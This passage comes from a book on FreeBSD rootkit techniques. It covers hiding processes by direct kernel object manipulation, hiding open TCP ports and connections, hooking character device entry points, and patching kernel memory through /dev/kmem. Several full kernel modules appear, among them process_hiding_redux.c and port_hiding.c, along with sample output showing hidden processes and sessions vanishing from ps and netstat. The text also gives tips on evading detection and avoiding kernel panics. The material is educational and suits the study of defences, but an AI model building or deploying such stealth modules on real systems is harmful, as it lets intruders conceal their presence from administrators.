  297 root        1  96    0  1292K   868K select   0:00  0.00% syslogd
  408 root        1  96    0  3412K  2656K select   0:00  0.00% sendmail
  424 root        1   8    0  1312K  1032K nanslp   0:00  0.00% cron
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  490 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  489 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  484 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  487 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  488 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  491 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  197 root        1 110    0  1384K  1036K select   0:00  0.00% dhclient
  527 root        1  96    0  1380K  1084K select   0:00  0.00% inetd
  412 smmsp       1  20    0  3300K  2664K pause    0:00  0.00% sendmail

. . .

last pid:   584;  load averages:  0.00,  0.03,  0.03    up 0+00:20:43  03:48:
�19 processes:  19 sleeping
CPU states:  0.0% user,  0.0% nice,  0.7% system, 11.8% interrupt, 87.5% idle
Mem: 7068K Active, 11M Inact, 14M Wired, 36K Cache, 10M Buf, 462M Free
Swap: 512M Total, 512M Free

  PID USERNAME  THR PRI NICE   SIZE    RES STATE    TIME   WCPU COMMAND
  502 ghost       1   8    0  3276K  2036K wait     0:00  0.00% bash
  486 root        1   8    0  1616K  1280K wait     0:00  0.00% login
  485 root        1   8    0  1616K  1316K wait     0:00  0.00% login
  530 ghost       1   5    0  3276K  2164K ttyin    0:00  0.00% bash
  297 root        1  96    0  1292K   868K select   0:00  0.00% syslogd
  408 root        1  96    0  3412K  2656K select   0:00  0.00% sendmail
  424 root        1   8    0  1312K  1032K nanslp   0:00  0.00% cron
  490 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  489 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  484 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  487 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  488 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  491 root        1   5    0  1264K   928K ttyin    0:00  0.00% getty
  197 root        1 110    0  1384K  1036K select   0:00  0.00% dhclient
  527 root        1  96    0  1380K  1084K select   0:00  0.00% inetd
  412 smmsp       1  20    0  3300K  2664K pause    0:00  0.00% sendmail
  217 _dhcp       1  96    0  1384K  1084K select   0:00  0.00% dhclient

Notice how in the “before” section, top(1) reports � one running 
process, � itself, while in the “after” section it reports � zero running 
processes—even though it is clearly still running . . . /me grins.

3.4 Hiding a Running Process Redux

Of course, process management involves more than just the allproc and 
zombproc lists, and as such, hiding a running process involves more than just 
manipulating the allproc list. For instance:

$ sudo kldload ./process_hiding.ko
System call loaded at offset 210.
$ ps
  PID  TT  STAT      TIME COMMAND
  521  v1  S      0:00.19 -bash (bash)
  524  v1  R+     0:00.03 ps
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  519  v2  I      0:00.17 -bash (bash)
  520  v2  S+     0:00.25 top
$ perl -e '$p_comm = "top";' -e 'syscall(210, $p_comm);'
$ ps -p 520
  PID  TT  STAT      TIME COMMAND
  520  v2  S+     0:00.56 top

Notice how the hidden process (top) was found through its PID. 
Undoubtedly, I’m going to remedy this. But first, some background 
information on FreeBSD hash tables1 is required.

3.4.1 The hashinit Function

In FreeBSD, a hash table is a contiguous array of LIST_HEAD entries that is 
initialized by calling the hashinit function.

#include <sys/malloc.h>
#include <sys/systm.h>
#include <sys/queue.h>

void *
hashinit(int nelements, struct malloc_type *type, u_long *hashmask);

This function allocates space for a hash table of size nelements. If successful, 
a pointer to the allocated hash table is returned, with the bit mask (which is 
used in the hash function) set in hashmask.

3.4.2 pidhashtbl

For efficiency purposes, all running processes, in addition to being on the 
allproc list, are stored on a hash table named pidhashtbl. This hash table is 
used to locate a proc structure by its PID more quickly than an O(n) walk of 
(i.e., a linear search through) the allproc list. This hash table is how the 
hidden process at the beginning of this section was found through its PID.

pidhashtbl is defined in the <sys/proc.h> header as follows:

extern LIST_HEAD(pidhashhead, proc) *pidhashtbl;

It is initialized in the file /sys/kern/kern_proc.c as:

pidhashtbl = hashinit(maxproc / 4, M_PROC, &pidhash);

1  In general, a hash table is a data structure in which keys are mapped to array positions by 
a hash function. The purpose of a hash table is to provide quick and efficient data retrieval. 
That is, given a key (e.g., a person’s name), you can easily find the corresponding value (e.g., 
the person’s phone number). This works by transforming the key, using a hash function, into a 
number that represents the offset in an array, which contains the desired value.
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3.4.3 The pfind Function
To locate a process via pidhashtbl, a kernel thread calls the pfind function. 
This function is implemented in the file /sys/kern/kern_proc.c as follows:

struct proc *
pfind(pid)
        register pid_t pid;
{
        register struct proc *p;

        �sx_slock(&allproc_lock);
        LIST_FOREACH(p, �PIDHASH(pid), p_hash)
                if (p->p_pid == pid) {
                        if (p->p_state == PRS_NEW) {
                                p = NULL;
                                break;
                        }
                        PROC_LOCK(p);
                        break;
                }
        sx_sunlock(&allproc_lock);
        return (p);
}

Notice how the resource access control for pidhashtbl is � allproc_lock—
the same lock associated with the allproc list. This is because allproc and 
pidhashtbl are designed to be in synch.

Also, notice that pidhashtbl is traversed via the � PIDHASH macro. This 
macro is defined in the <sys/proc.h> header as follows:

#define PIDHASH(pid)    (&pidhashtbl[(pid) & pidhash])

As you can see, PIDHASH is a macro substitution for pidhashtbl; specifically, 
it’s the hash function.

3.4.4 Example
In the following listing, I modify process_hiding to protect a running process 
from being found through its PID, with the changes shown in bold.

static int
process_hiding(struct thread *td, void *syscall_args)
{
        struct process_hiding_args *uap;
        uap = (struct process_hiding_args *)syscall_args;

        struct proc *p;

        sx_xlock(&allproc_lock);

        /* Iterate through the allproc list. */
        LIST_FOREACH(p, &allproc, p_list) {
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                PROC_LOCK(p);

                if (!p->p_vmspace || (p->p_flag & P_WEXIT)) {
                        PROC_UNLOCK(p);
                        continue;
                }

                /* Do we want to hide this process? */
                if (strncmp(p->p_comm, uap->p_comm, MAXCOMLEN) == 0) {
                        LIST_REMOVE(p, p_list);
                        LIST_REMOVE(p, p_hash);
                }

                PROC_UNLOCK(p);
        }

        sx_xunlock(&allproc_lock);

        return(0);
}

As you can see, all I’ve done is remove the proc structure from pidhashtbl. 
Easy, eh?

Listing 3-2 is an alternative approach, which takes advantage of your 
knowledge of pidhashtbl.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/queue.h>
#include <sys/lock.h>
#include <sys/sx.h>
#include <sys/mutex.h>

struct process_hiding_args {
        pid_t p_pid;            /* process identifier */
};

/* System call to hide a running process. */
static int
process_hiding(struct thread *td, void *syscall_args)
{
        struct process_hiding_args *uap;
        uap = (struct process_hiding_args *)syscall_args;

        struct proc *p;

        sx_xlock(&allproc_lock);

        /* Iterate through pidhashtbl. */
        LIST_FOREACH(p, PIDHASH(uap->p_pid), p_hash)
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                if (p->p_pid == uap->p_pid) {
                        if (p->p_state == PRS_NEW) {
                                p = NULL;
                                break;
                        }
                        PROC_LOCK(p);

                        /* Hide this process. */
                        LIST_REMOVE(p, p_list);
                        LIST_REMOVE(p, p_hash);

                        PROC_UNLOCK(p);

                        break;
                }

        sx_xunlock(&allproc_lock);

        return(0);
}

/* The sysent for the new system call. */
static struct sysent process_hiding_sysent = {
        1,                      /* number of arguments */
        process_hiding          /* implementing function */
};

/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                uprintf("System call loaded at offset %d.\n", offset);
                break;

        case MOD_UNLOAD:
                uprintf("System call unloaded from offset %d.\n", offset);
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

SYSCALL_MODULE(process_hiding, &offset, &process_hiding_sysent, load, NULL);

Listing 3-2: process_hiding_redux.c
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As you can see, process_hiding has been rewritten to work with PIDs 
(instead of names), so that you may forgo iterating through allproc in favor 
of iterating through pidhashtbl. This should reduce the overall run time.

Here is some sample output:

$ sudo kldload ./process_hiding_redux.ko
System call loaded at offset 210.
$ ps
  PID  TT  STAT      TIME COMMAND     
  494  v1  S      0:00.21 -bash (bash)
  502  v1  R+     0:00.02 ps          
  492  v2  I      0:00.17 -bash (bash)
  493  v2  S+     0:00.23 top         
$ perl -e 'syscall(210, 493);'
$ ps
  PID  TT  STAT      TIME COMMAND     
  494  v1  S      0:00.25 -bash (bash)
  504  v1  R+     0:00.02 ps          
  492  v2  I      0:00.17 -bash (bash)
$ ps -p 493
  PID  TT  STAT      TIME COMMAND
$ kill -9 493
-bash: kill: (493) - No such process

At this point, unless someone is actively searching for your hidden process, 
you should be safe from discovery. However, keep in mind that there are still 
data structures in the kernel that reference the various running processes, 
which means that your hidden process can still be detected—and quite easily, 
at that!

3.5 Hiding with DKOM

As you’ve seen, the main challenge to overcome when hiding an object with 
DKOM is removing all references to your object in the kernel. The best way 
to do so is to look through and mimic the source code of the object’s ter-
minating function(s), which are designed to remove all references to the 
object. For instance, to identify all the data structures that reference a run-
ning process, refer to the _exit(2) system call function, which is implemented 
in the file /sys/kern/kern_exit.c.

NOTE Because sorting through unfamiliar kernel code is never quick and easy, I didn’t dump 
the source for _exit(2) at the beginning of Section 3.3, when I first discussed hiding a 
running process.

At this point, you should know enough to be able to go through _exit(2) 
on your own. Still, here are the remaining objects you need to patch in order 
to hide a running process:

� The parent process’ child list

� The parent process’ process-group list

� The nprocs variable
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3.6 Hiding an Open TCP-based Port

Because no book about rootkits is complete without a discussion of how to 
hide an open TCP-based port, which indirectly hides an established TCP-
based connection, I’ll show an example here using DKOM. First, though, we 
need some background information on Internet protocol data structures.

3.6.1 The inpcb Structure
For each TCP- or UDP-based socket, an inpcb structure, which is known as an 
Internet protocol control block, is created to hold internetworking data such as 
network addresses, port numbers, routing information, and so on (McKusick 
and Neville-Neil, 2004). This structure is defined in the <netinet/in_pcb.h> 
header. The following list describes the fields in struct inpcb that you’ll need 
to understand in order to hide an open TCP-based port.

NOTE As before, you can skip over this list on your first reading and return to it when you 
deal with some real C code.

LIST_ENTRY(inpcb) inp_list;
This field contains the linkage pointers that are associated with the 
inpcb structure, which is stored on the tcbinfo.listhead list (discussed in 
Section 3.6.2). This field is referenced during insertion, removal, and 
traversal of this list.

struct in_conninfo inp_inc;
This structure maintains the socket pair 4-tuple in an established con-
nection; that is, the local IP address, local port, foreign IP address, and 
foreign port. The definition of struct in_conninfo can be found in the 
<netinet/in_pcb.h> header as follows:

struct in_conninfo {
        u_int8_t        inc_flags;
        u_int8_t        inc_len;
        u_int16_t       inc_pad;
        /* protocol dependent part */
        struct  in_endpoints inc_ie;
};

Within an in_conninfo structure, the socket pair 4-tuple is stored in 
the last member, inc_ie. This can be verified by looking up the definition 
of struct in_endpoints in the <netinet/in_pcb.h> header as follows:

struct in_endpoints {
        u_int16_t       ie_fport;               /* foreign port */
        u_int16_t       ie_lport;               /* local port */
        /* protocol dependent part, local and foreign addr */
        union {
                /* foreign host table entry */
                struct  in_addr_4in6 ie46_foreign;
                struct  in6_addr ie6_foreign;
        } ie_dependfaddr;
        union {
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                /* local host table entry */
                struct  in_addr_4in6 ie46_local;
                struct  in6_addr ie6_local;
        } ie_dependladdr;
#define ie_faddr        ie_dependfaddr.ie46_foreign.ia46_addr4
#define ie_laddr        ie_dependladdr.ie46_local.ia46_addr4
#define ie6_faddr       ie_dependfaddr.ie6_foreign
#define ie6_laddr       ie_dependladdr.ie6_local
};

u_char inp_vflag;
This field identifies the IP version in use as well as the IP flags that are set 
on the inpcb structure. All the flags are defined in the <netinet/in_pcb.h> 
header.

struct mtx inp_mtx;
This is the resource access control associated with the inpcb structure. 
The header file <netinet/in_pcb.h> defines two macros, INP_LOCK and 
INP_UNLOCK, that conveniently acquire and release this lock.

#define INP_LOCK(inp)           mtx_lock(&(inp)->inp_mtx)
#define INP_UNLOCK(inp)         mtx_unlock(&(inp)->inp_mtx)

3.6.2 The tcbinfo.listhead List

inpcb structures associated with TCP-based sockets are maintained on a doubly-
linked list private to the TCP protocol module. This list is contained within 
tcbinfo, which is defined in the <netinet/tcp_var.h> header as follows:

extern  struct inpcbinfo tcbinfo;

As you can see, tcbinfo is declared as of type struct inpcbinfo, which is 
defined in the <netinet/in_pcb.h> header. Before I go further, let me describe 
the fields of struct inpcbinfo that you’ll need to understand in order to hide 
an open TCP-based port.

struct inpcbhead *listhead;
Within tcbinfo, this field maintains the list of inpcb structures associated 
with TCP-based sockets. This can be verified by looking up the definition 
of struct inpcbhead in the <netinet/in_pcb.h> header.

LIST_HEAD(inpcbhead, inpcb);

struct mtx ipi_mtx;
This is the resource access control associated with the inpcbinfo structure. 
The header file <netinet/in_pcb.h> defines four macros for conveniently 
acquiring and releasing this lock; you’ll make use of the following two:

#define INP_INFO_WLOCK(ipi)     mtx_lock(&(ipi)->ipi_mtx)
#define INP_INFO_WUNLOCK(ipi)   mtx_unlock(&(ipi)->ipi_mtx)
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3.6.3 Example

At this point, it should come as no surprise that you can hide an open 
TCP-based port by simply removing its inpcb structure from tcbinfo.listhead. 
Listing 3-3 is a system call module designed to do just that. The system call is 
invoked with one argument: an integer containing the local port to be 
hidden.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/queue.h>
#include <sys/socket.h>

#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_pcb.h>
#include <netinet/ip_var.h>
#include <netinet/tcp_var.h>

struct port_hiding_args {
        u_int16_t lport;        /* local port */
};

/* System call to hide an open port. */
static int
port_hiding(struct thread *td, void *syscall_args)
{
        struct port_hiding_args *uap;
        uap = (struct port_hiding_args *)syscall_args;

        struct inpcb *inpb;

        INP_INFO_WLOCK(&tcbinfo);

        /* Iterate through the TCP-based inpcb list. */
        LIST_FOREACH(inpb, tcbinfo.listhead, inp_list) {
                �if (inpb->inp_vflag & INP_TIMEWAIT)
                        continue;

                INP_LOCK(inpb);

                /* Do we want to hide this local open port? */
                �if (uap->lport == ntohs(inpb->inp_inc.inc_ie.ie_lport))
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                        LIST_REMOVE(inpb, inp_list);

                INP_UNLOCK(inpb);
        }

        INP_INFO_WUNLOCK(&tcbinfo);

        return(0);
}

/* The sysent for the new system call. */
static struct sysent port_hiding_sysent = {
        1,                      /* number of arguments */
        port_hiding             /* implementing function */
};

/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;

        switch (cmd) {
        case MOD_LOAD:
                uprintf("System call loaded at offset %d.\n", offset);
                break;

        case MOD_UNLOAD:
                uprintf("System call unloaded from offset %d.\n", offset);
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

SYSCALL_MODULE(port_hiding, &offset, &port_hiding_sysent, load, NULL);

Listing 3-3: port_hiding.c

An interesting detail about this code is that prior to � the port number 
comparison, I � examine each inpcb structure’s inp_vflag member. If the 
inpcb is found to be in the 2MSL wait state, I skip over it.2 What’s the point 
of hiding a port that’s about to close?

2  When a TCP connection performs an active close and sends the final ACK, the connection is 
put into the 2MSL wait state for twice the maximum segment lifetime. This lets the TCP connec-
tion resend the final ACK in case the first one was lost.
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In the following output, I telnet(1) into a remote machine and then 
invoke port_hiding to hide the session:

$ telnet 192.168.123.107
Trying 192.168.123.107...
Connected to 192.168.123.107.
Escape character is '^]'.
Trying SRA secure login:
User (ghost): 
Password: 
[ SRA accepts you ]

FreeBSD/i386 (alpha) (ttyp0)

Last login: Mon Mar 5 09:55:50 on ttyv1

$ sudo kldload ./port_hiding.ko
System call loaded at offset 210.
$ netstat -anp tcp
Active Internet connections (including servers)
Proto Recv-Q Send-Q  Local Address          Foreign Address       (state)
tcp4       0      0  192.168.123.107.23     192.168.123.153.61141 ESTABLISHED
tcp4       0      0  *.23                   *.*                   LISTEN
tcp4       0      0  127.0.0.1.25           *.*                   LISTEN
$ perl -e 'syscall(210, 23);'
$ netstat -anp tcp
Active Internet connections (including servers)
Proto Recv-Q Send-Q  Local Address          Foreign Address       (state)
tcp4       0      0  127.0.0.1.25           *.*                   LISTEN

Notice how port_hiding hid the local telnet server as well as the connection. 
To change this behavior, simply rewrite port_hiding to require two arguments: 
a local port and a local address.

3.7 Corrupting Kernel Data

Before I conclude this chapter, let’s consider the following: What happens 
when one of your hidden objects is found and killed? 

In the best case scenario, nothing. In the worst case scenario, the kernel 
panics because when an object is killed, the kernel unconditionally removes 
it from its various lists. However, in this situation, the object has already been 
removed. Therefore, the kernel will fail to find it, and will walk off the end of 
its lists, corrupting those data structures in the process.
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To prevent this data corruption, here are some suggestions:

� Hook the terminating function(s) to prevent them from removing your 
hidden objects.

� Hook the terminating function(s) to place your hidden objects back 
onto the lists before termination.

� Implement your own “exit” function to safely kill your hidden objects.

� Do nothing. If your hidden objects are never found, they can never be 
killed—right?

3.8 Concluding Remarks

DKOM is one of the hardest rootkit techniques to detect. By patching the 
objects the kernel relies upon for its bookkeeping and reporting, you can 
produce desirable results while leaving an extremely small footprint. For 
example, in this chapter I’ve shown how to hide a running process and an 
open port using a few simple modifications.

While DKOM does have limited use (because it can only manipulate 
objects resident in main memory), there are many objects within the kernel 
to patch. For instance, for a complete listing of all the kernel queue data 
structures, execute the following commands:

$ cd /usr/src/sys
$ grep –r "LIST_HEAD(" *
. . .
$ grep –r "TAILQ_HEAD(" *
. . .
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K E R N E L  O B J E C T  H O O K I N G

In the previous chapter we covered sub-
verting the FreeBSD kernel using simple 

data-state changes. The discussion centered 
around modifying the data contained within the 

kernel queue data structures. In addition to record 
keeping, many of these structures are also directly 
involved in control flow, as they maintain a limited number of entry points 
into the kernel. Consequently, these can be hooked, too, just like the entry 
points discussed in Chapter 2. This technique is referred to as Kernel Object 
Hooking (KOH). To demonstrate it, let’s hook a character device.

4.1 Hooking a Character Device

Recall from Chapter 1 that a character device is defined by its entries in 
a character device switch table.1 As such, by modifying these entries, you 
can modify the behavior of a character device. Before demonstrating this 

1  For the definition of a character device switch table, see Section 1.6.1.
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“attack,” however, some background information on character device 
management is necessary.

4.1.1 The cdevp_list Tail Queue and cdev_priv Structures
In FreeBSD all active character devices are maintained on a private, doubly-
linked tail queue named cdevp_list, which is defined in the file /sys/fs/devfs/
devfs_devs.c as follows:

static TAILQ_HEAD(,�cdev_priv) cdevp_list =
    TAILQ_HEAD_INITIALIZER(cdevp_list);

As you can see, cdevp_list is composed of � cdev_priv structures. The 
definition for struct cdev_priv can be found in the <fs/devfs/devfs_int.h> 
header. Here are the fields in struct cdev_priv that you’ll need to understand 
in order to hook a character device:

TAILQ_ENTRY(cdev_priv) cdp_list;
This field contains the linkage pointers that are associated with the 
cdev_priv structure, which is stored on cdevp_list. This field is referenced 
during insertion, removal, and traversal of cdevp_list.

struct cdev cdp_c;
This structure maintains the context of the character device. The defi-
nition for struct cdev can be found in the <sys/conf.h> header. The 
fields in struct cdev relevant to our discussion are as follows:

char *si_name; This field contains the name of the character device.

struct cdevsw *si_devsw; This field points to the character device’s 
switch table.

4.1.2 The devmtx Mutex
The following excerpt from <fs/devfs/devfs_int.h> lists the resource access 
control associated with cdevp_list.

extern struct mtx devmtx;

4.1.3 Example
As you might have guessed, in order to modify a character device’s switch 
table, you simply have to go through cdevp_list. Listing 4-1 offers an example. 
This code traverses cdevp_list, looking for cd_example;2 if it finds it, cd_example’s 
read entry point is replaced with a simple call hook.

#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>

2  cd_example is the character device developed in Section 1.6.4.
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#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/queue.h>
#include <sys/lock.h>
#include <sys/mutex.h>

#include <fs/devfs/devfs_int.h>

extern TAILQ_HEAD(,cdev_priv) cdevp_list;

d_read_t        read_hook;
d_read_t        *read;

/* read entry point hook. */
int
read_hook(struct cdev *dev, struct uio *uio, int ioflag)
{
        uprintf("You ever dance with the devil in the pale moonlight?\n");

        �return((*read)(dev, uio, ioflag));
}

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;
        struct cdev_priv *cdp;

        switch (cmd) {
        case MOD_LOAD:
                mtx_lock(&devmtx);

                /* Replace cd_example's read entry point with read_hook. */
                TAILQ_FOREACH(cdp, &cdevp_list, cdp_list) {
                        if (strcmp(cdp->cdp_c.si_name, "cd_example") == 0) {
                                �read = cdp->cdp_c.si_devsw->d_read;
                                �cdp->cdp_c.si_devsw->d_read = read_hook;
                                break;
                        }
                }

                mtx_unlock(&devmtx);
                break;

        case MOD_UNLOAD:
                mtx_lock(&devmtx);

                /* Change everything back to normal. */
                TAILQ_FOREACH(cdp, &cdevp_list, cdp_list) {
                        if (strcmp(cdp->cdp_c.si_name, "cd_example") == 0) {
                                �cdp->cdp_c.si_devsw->d_read = read;
                                break;
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                        }
                }

                mtx_unlock(&devmtx);
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

static moduledata_t cd_example_hook_mod = {
        "cd_example_hook",      /* module name */
        load,                   /* event handler */
        NULL                    /* extra data */
};

DECLARE_MODULE(cd_example_hook, cd_example_hook_mod, SI_SUB_DRIVERS,
    SI_ORDER_MIDDLE);

Listing 4-1: cd_example_hook.c

Notice that prior to � replacing cd_example’s read entry point, I � 
saved the memory address of the original entry. This allows you to � call 
and � restore the original function without having to include its definition 
in your code.

Here are the results of interacting with cd_example after loading the above 
module:

$ sudo kldload ./cd_example_hook.ko
$ sudo ./interface Tell\ me\ something,\ my\ friend.
Wrote "Tell me something, my friend." to device /dev/cd_example
You ever dance with the devil in the pale moonlight?
Read "Tell me something, my friend." from device /dev/cd_example

4.2 Concluding Remarks

As you can see, KOH is more or less like DKOM, except that it uses call 
hooks instead of data-state changes. As such, there is really nothing “new” 
presented in this chapter (which is why it’s so short).
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R U N - T I M E  K E R N E L  M E M O R Y  

P A T C H I N G

In the previous chapters we looked at the 
classic method of introducing code into a 

running kernel: through a loadable kernel 
module. In this chapter we’ll look at how to 

patch and augment a running kernel with userland 
code. This is accomplished by interacting with the 
/dev/kmem device, which allows us to read from and write to kernel virtual 
memory. In other words, /dev/kmem allows us to patch the various code 
bytes (loaded in executable memory space) that control the logic of the 
kernel. This is commonly referred to as run-time kernel memory patching.

5.1 Kernel Data Access Library

The Kernel Data Access Library (libkvm) provides a uniform interface 
for accessing kernel virtual memory through the /dev/kmem device. The 
following six functions from libkvm form the basis of run-time kernel 
memory patching.



64 Chapter  5

5.1.1 The kvm_openfiles Function
Access to kernel virtual memory is initialized by calling the kvm_openfiles 
function. If kvm_openfiles is successful, a descriptor is returned to be used in 
all subsequent libkvm calls. If an error is encountered, NULL is returned instead.

Here is the function prototype for kvm_openfiles:

#include <fcntl.h>
#include <kvm.h>

kvm_t *
kvm_openfiles(const char *execfile, const char *corefile,
    const char *swapfile, int flags, char *errbuf);

The following is a brief description of each parameter.

execfile
This specifies the kernel image to be examined, which must contain a 
symbol table. If this parameter is set to NULL, the currently running kernel 
image is examined.

corefile
This is the kernel memory device file; it must be set to either /dev/mem 
or a crash dump core generated by savecore(8). If this parameter is set to 
NULL, /dev/mem is used.

swapfile
This parameter is currently unused; thus, it’s always set to NULL.

flags
This parameter indicates the read/write access permissions for the core 
file. It must be set to one of the following constants:

errbuf
If kvm_openfiles encounters an error, an error message is written into this 
parameter.

5.1.2 The kvm_nlist Function
The kvm_nlist function retrieves the symbol table entries from a kernel image.

#include <kvm.h>
#include <nlist.h>

int
kvm_nlist(kvm_t *kd, struct nlist *nl);

O_RDONLY Open for reading only.
O_WRONLY Open for writing only.
O_RDWR Open for reading and writing.
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Here, nl is a null-terminated array of nlist structures. To make proper 
use of kvm_nlist, you’ll need to know two fields in struct nlist, specifically 
n_name, which is the name of a symbol loaded in memory, and n_value, which 
is the address of the symbol.

The kvm_nlist function iterates through nl, looking up each symbol in 
turn through the n_name field; if found, n_value is filled out appropriately. 
Otherwise, it is set to 0.

5.1.3 The kvm_geterr Function

The kvm_geterr function returns a string describing the most recent error 
condition on a kernel virtual memory descriptor.

#include <kvm.h>

char *
kvm_geterr(kvm_t *kd);

The results are undefined if the most recent libkvm call did not produce 
an error.

5.1.4 The kvm_read Function

Data is read from kernel virtual memory with the kvm_read function. If the 
read is successful, the number of bytes transferred is returned. Otherwise, -1 
is returned.

#include <kvm.h>

ssize_t
kvm_read(kvm_t *kd, unsigned long addr, void *buf, size_t nbytes);

Here, nbytes indicates the number of bytes to be read from the kernel 
space address addr to the buffer buf.

5.1.5 The kvm_write Function

Data is written to kernel virtual memory with the kvm_write function.

#include <kvm.h>

ssize_t
kvm_write(kvm_t *kd, unsigned long addr, const void *buf, size_t nbytes);

The return value is usually equal to the nbytes argument, unless an error 
has occurred, in which case -1 is returned instead. In this definition, nbytes 
indicates the number of bytes to be written to addr from buf.
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5.1.6 The kvm_close Function

An open kernel virtual memory descriptor is closed by calling the kvm_close 
function.

#include <fcntl.h>
#include <kvm.h>

int
kvm_close(kvm_t *kd);

If kvm_close is successful, 0 is returned. Otherwise, -1 is returned.

5.2 Patching Code Bytes

Now, equipped with the functions from the previous section, let’s patch some 
kernel virtual memory. I’ll start with a very basic example. Listing 5-1 is a 
system call module that acts like an over-caffeinated “Hello, world!” function.

#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>

/* The system call function. */
static int
hello(struct thread *td, void *syscall_args)
{
        int i;
        �for (i = 0; i < 10; i++)
                printf("FreeBSD Rocks!\n");

        return(0);
}

/* The sysent for the new system call. */
static struct sysent hello_sysent = {
        0,                      /* number of arguments */
        hello                   /* implementing function */
};

/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;

/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
        int error = 0;
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        switch (cmd) {
        case MOD_LOAD:
                uprintf("System call loaded at offset %d.\n", offset);
                break;

        case MOD_UNLOAD:
                uprintf("System call unloaded from offset %d.\n", offset);
                break;

        default:
                error = EOPNOTSUPP;
                break;
        }

        return(error);
}

SYSCALL_MODULE(hello, &offset, &hello_sysent, load, NULL);

Listing 5-1: hello.c

As you can see, if we execute this system call, we’ll get some very annoying 
output. To make this system call less annoying, we can patch out � the for 
loop, which will remove the nine additional calls to printf. However, before 
we can do that, we’ll need to know what this system call looks like when it’s 
loaded in main memory.

$ objdump -dR ./hello.ko
                                                       
./hello.ko:     file format elf32-i386-freebsd         
                                                       
Disassembly of section .text:                          
                                                       
00000480 <hello>:                                      
 480:   55                      push   %ebp            
 481:   89 e5                   mov    %esp,%ebp       
 483:   53                      push   %ebx            
 484:   bb 09 00 00 00          mov    $0x9,%ebx       
 489:   83 ec 04                sub    $0x4,%esp       
 48c:   8d 74 26 00             lea    0x0(%esi),%esi  
 490:   c7 04 24 0d 05 00 00    movl   $0x50d,(%esp)   
                        493: R_386_RELATIVE     *ABS*  
 497:   e8 fc ff ff ff          call   498 <hello+0x18>
                        498: R_386_PC32 printf         
 49c:   4b                      dec    %ebx            
 49d:   79 f1                   jns    490 <hello+0x10>
 49f:   83 c4 04                add    $0x4,%esp       
 4a2:   31 c0                   xor    %eax,%eax       
 4a4:   5b                      pop    %ebx            
 4a5:   c9                      leave                  
 4a6:   c3                      ret                    
 4a7:   89 f6                   mov    %esi,%esi       
 4a9:   8d bc 27 00 00 00 00    lea    0x0(%edi),%edi  
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NOTE The binary hello.ko was compiled explicitly without the -funroll-loops option.

Notice the instruction at address 49d, which causes the instruction 
pointer to jump back to address 490 if the sign flag is not set. This instruc-
tion is, more or less, the for loop in hello.c. Therefore, if we nop it out, we 
can make the hello system call somewhat bearable. The program in List-
ing 5-2 does just that.

#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/types.h>

#define SIZE    0x30

/* Replacement code. */
unsigned char nop_code[] =
        "\x90\x90";             /* nop          */

int
main(int argc, char *argv[])
{
        int i, offset;
        char errbuf[_POSIX2_LINE_MAX];
        kvm_t *kd;
        struct nlist nl[] = { {NULL}, {NULL}, };
        unsigned char hello_code[SIZE];

        /* Initialize kernel virtual memory access. */
        kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
        if (kd == NULL) {
                fprintf(stderr, "ERROR: %s\n", errbuf);
                exit(-1);
        }

        nl[0].n_name = "hello";

        /* Find the address of hello. */
        if (kvm_nlist(kd, nl) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        if (!nl[0].n_value) {
                fprintf(stderr, "ERROR: Symbol %s not found\n",
                    nl[0].n_name);
                exit(-1);
        }

        /* Save a copy of hello. */
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        if (kvm_read(kd, nl[0].n_value, hello_code, SIZE) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Search through hello for the jns instruction. */
        �for (i = 0; i < SIZE; i++) {
                if (hello_code[i] == 0x79) {
                        offset = i;
                        break;
                }
        }

        /* Patch hello. */
        if (kvm_write(kd, nl[0].n_value + offset, nop_code,
            �sizeof(nop_code) - 1) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        /* Close kd. */
        if (kvm_close(kd) < 0) {
                fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
                exit(-1);
        }

        exit(0);
}

Listing 5-2: fix_hello.c

Notice how � I search through the first 48 bytes of hello, looking for 
the jns instruction, instead of using a hard-coded offset. Depending on 
your compiler version, compiler flags, base system, and so on, it is entirely 
possible for hello.c to compile differently. Therefore, it’s useless to determine 
the location of jns ahead of time.

